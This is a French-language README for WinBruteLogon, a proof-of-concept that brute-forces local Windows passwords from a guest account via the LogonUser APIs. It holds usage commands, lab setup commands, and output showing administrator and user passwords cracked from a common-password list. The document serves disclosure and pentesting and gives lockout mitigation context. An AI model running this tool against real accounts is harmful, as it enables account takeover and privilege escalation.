AVIS 1: Nous sommes ravis d'annoncer que notre outil actuel a été porté vers une version PowerShell. Cela signifie que les utilisateurs peuvent désormais accéder et utiliser l'outil directement à partir de la ligne de commande PowerShell, ce qui le rend encore plus pratique et efficace à utiliser. Nous pensons que cette nouvelle version profitera grandement à nos utilisateurs et améliorera leur expérience avec l'outil. Merci pour votre soutien continu et nous espérons que vous apprécierez la nouvelle version PowerShell: https://github.com/darkcodersc/power-brite-logon
AVIS 2: Nous avons récemment appris que Microsoft a permis à la stratégie de verrouillage du compte par défaut dans les versions modernes et à jour de Windows. Cette politique aide à sécuriser le système en verrouillant un compte après un certain nombre de tentatives de connexion ratées. Bien qu'il s'agisse d'une mesure de sécurité bénéfique, elle rend la preuve de concept (POC) inefficace sur ces systèmes.
Date de sortie: 2020-05-14
Target: Windows XP à la dernière version de Windows 10 (1909)
Lieu de faiblesse: LogonUserA , LogonUserW , CreateProcessWithLogonA , CreateProcessWithLogonW
WinBruteLogon.exe -u <username> -w <wordlist_file>
type <wordlist_file> | WinBruteLogon.exe -u <username> -
La connexion Brute Win est conçue pour simuler une attaque par force brute sur un compte Microsoft en devinant un grand nombre de combinaisons de mots de passe en peu de temps. Cela permet aux Pentesters de tester la posture de sécurité de leurs systèmes et d'évaluer leurs défenses contre les attaques par force brute. L'outil exploite l'absence d'un mécanisme de verrouillage du compte, qui est une faiblesse courante dans de nombreux systèmes (avant que le verrouillage du compte ne devienne activé par défaut sur Windows 11). En tentant de deviner le mot de passe d'un compte, l'outil peut aider les Pentesters à identifier et à résoudre les vulnérabilités dans leurs mesures de sécurité. Il doit être utilisé de manière responsable et dans les limites de la loi.
Pour cette démonstration, nous installerons une nouvelle version de Windows 10 sur une machine virtuelle ou physique. Une fois la machine configurée, connectez-vous en tant qu'administrateur. Ensuite, créez deux comptes locaux différents: un compte administrateur et un compte utilisateur régulier. Veuillez noter que bien que nous utiliserons le compte invité pour la démo, cette preuve de concept (POC) n'est pas limitée au compte invité. Il peut être utilisé à partir de n'importe quel compte ou groupe, y compris l'invité, l'utilisateur régulier et l'utilisateur de l'administrateur.
net user darkcodersc /add
net user darkcodersc trousers (pantalon est le mot de passe)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm (OZLQ6QWM est le mot de passe)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
Dans mon cas, les trousers et ozlq6qwm sont dans Seclist: https://github.com/danielmiesler/seclists/blob/master/passwords/common-credentials/10k-most-common.txt
Pour commencer la démonstration, déconnectez-vous à partir du compte administrateur ou redémarrez la machine et connectez-vous au compte invité. Ensuite, placez l'exécutable POC dans un endroit où vous avez accès en tant qu'utilisateur invité.
Utilisation: WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-v est facultatif, il conçoit le mode verbeux.
Par défaut, le nom de domaine est la valeur désignée par %USERDOMAIN% env var. Vous pouvez spécifier un nom personnalisé avec l'option -d
darkcodersc (administrateur) invite (invité)> WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
Attendez quelques secondes pour voir le résultat suivant:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe (utilisateur régulier) invite (invité)> WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
Attendez quelques secondes pour voir le résultat suivant:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
"Dans un scénario du monde réel, si un attaquant a accès à un compte utilisateur peu privilégié, il peut être en mesure de casser le mot de passe d'un utilisateur plus privilégié et de dégénérer ses privilèges. Pour atténuer ce risque, il y a quelques étapes qui peuvent être prises:
Pour implémenter une stratégie de verrouillage de sécurité (qui n'est pas activée par défaut), suivez ces étapes:
Veuillez noter que la politique de verrouillage ne s'applique pas au compte de l'administrateur. Dans ce cas, la meilleure protection pour le compte administrateur (si activé) est de configurer un mot de passe très complexe.
Un rapport détaillant cette faiblesse a été envoyé à l'équipe de sécurité de Microsoft. Ils devraient envisager d'activer la stratégie de verrouillage du compte par défaut. "
(Mise à jour 2022): le verrouillage du compte est finalement activé par défaut.